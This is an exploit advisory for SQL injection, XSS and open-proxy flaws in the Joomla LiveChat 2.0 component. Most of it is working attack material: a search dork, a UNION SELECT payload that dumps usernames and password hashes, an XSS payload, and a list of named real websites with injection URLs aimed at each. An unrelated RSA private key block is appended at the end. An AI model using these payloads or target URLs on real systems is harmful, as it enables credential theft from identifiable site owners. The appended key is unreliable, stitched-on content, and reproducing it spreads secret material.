Joomla LiveChat 2.0 XSS / SQL Injection

Related Vulnerabilities: CVE-2008-6883   CVE-2012-6884  
Publish Date: 05 Jan 2013
Author: Ur0b0r0x
                							

                
               -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
                 INDEPENDENT SECURITY RESEARCHER 
                   PENETRATION TESTING SECURITY
               -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
 
# Author: Ur0b0r0x
# Tiwtte: @Ur0b0r0x
# Email:  ur0b0r0x_@live.com
# Line:   GreyHat
# Home:   ur0b0r0x.blogspot.com


# Exploit Title: Joomla Component - LiveChat 2.0 Multilpes Vulnerabilities
# Dork: inurl:/components/com_livechat/
# Date: 05/01/2013
# Author: Ur0b0r0x
# info1:CVE-2008-6883
# info2:CVE-2012-6884
# Url Vendor: http://www.joompolitan.com/livechat.html
# Vendor Name: LiveChat
# Tested On: Backtrack R3 / Linux Mint
# Type: php

------------------- Agreement --------------------
[29/12/2012] - Vulnerability discovered
[04/01/2013] - Vendor notified Dont responsed
[05/01/2013] - Public disclosure 
--------------------------------------------------

# info1:CVE-2008-6883
Exploit/Sql:=> getChat.php?chat=0&last=1%20union%20select%201,unhex%28hex%28concat%28username,0x3a,password%29%29%29,3,4%20from%20jos_users
Explit/ Open Proxy:=> administrator/components/com_livechat/xmlhttp.php?GET$01$2$3$4$5$http://www.google.com

# info2:CVE-2012-6884
Exploit/Xss:=>  getChat.php?chat=0&last="><img src=x onerror=alert('XSS') />
Exploit/Disclosure:=> /home/site.com/public_html/administrator/components/com_livechat/

#Samples/Sql/Xss/OpenProxy/Xss
http://www.camarahotel.infocyclades.com/administrator/components/com_livechat/getChat.php?chat=0&last=1%20union%20select%201,unhex%28hex%28concat%28username,0x3a,password%29%29%29,3,4%20from%20jos_users
http://www.swissrack.ch/administrator/components/com_livechat/getSavedChatRooms.php?chat=0&last=1%20union%20select%201,unhex%28hex%28concat%28username,0x3a,password%29%29%29,3%20from%20jos_users
http://www.radioviva.com.co/portal/administrator/components/com_livechat/getSavedChatRooms.php?chat=0&last=1%20union%20select%201,unhex%28hex%28concat%28username,0x3a,password%29%29%29,3%20from%20jos_users
http://pmsicom.net/administrator/components/com_livechat/getSavedChatRooms.php?chat=0&last=1%20union%20select%201,unhex%28hex%28concat%28username,0x3a,password%29%20%29%20%29%E2%80%8B,3%20from%20jos_users
http://www.salento-casevacanze.it/administrator/components/com_livechat/getChat.php?chat=
http://www.perledipuglia.it/administrator/components/com_livechat/getChat.php?chat=
http://www.lucidtechnology.net/administrator/components/com_livechat/getChat.php?chat=
http://jatidiri.prophp.org/administrator/components/com_livechat/getChat.php?chat=


-----BEGIN RSA PRIVATE KEY-----
MIICXQIBAAKBgQD995aYvrD2mK2fwwQr3FoAAprFLfMAiwR8cQUZW2XWDUSNJdvl
Mq/1qym16+Yx7AVmXbsdCzqV/zeX+VUg6fUUWFwzNru6akjOlEHnSpNPxfJaCOEi
2AFovRie8LJyXtmXf1VFVU7l33/OBUsGJAUa2H4bR8ChTUffSHqkoFLE5wIDAQAB
AoGBANJgFc/RpqWfM7Pzx7DNh4AaqDpOJc19Wun6dU7b9y+pLe/+PHlP05Kdhp+8
GaOg75gsbKNSeeVm1JZ/Y5UwOGJLn06W8PaBgkNG+b6tv9iRV7jSubEscwfGOXSX
X5Hi9XP02MOrEsqOcgl6Xqpf8//fauhem8a4/iftk2hG3ngBAkEA/4C5QQePSOz/
WyypDfUC5Nr5h32zq5bvRY++v7ydzeSRQD8uri66zZuz0gGTzjGdyBUb2OuTDT4R
8RUcW1x9QQJBAP52GYGDg/+EE7ABX4zT/ZOHJScjlezxbwLiTsvWoESRUrQftLOL
Wvl2IpeYpWvKIjTzyb5WH+IBWPFpM6RfsCcCQQDnqrDOrOsXhYSYB+uVMyYXmhEM
8EYb/HQhj4+2THCNQoUNSvyphMduLJKkhTeei1B0HeetDRS9uh0Mika29CrBAkAM
BVg/Hg9mSr8DWY1CAeHAzmma57t1bhJoeHhweLspghP+HmFS+gpaLpKDxtpJtUrY
ZYvqSfdHnfitruKZqUuRAkAti8p7b53+cFSm14WPNtdhJQnxniUcSKBtNm5ExO7J
X54eZI4iddc9xnP4rySfwz933FhMRF9Eh3gPUYAPBpp/
-----END RSA PRIVATE KEY-----

<p>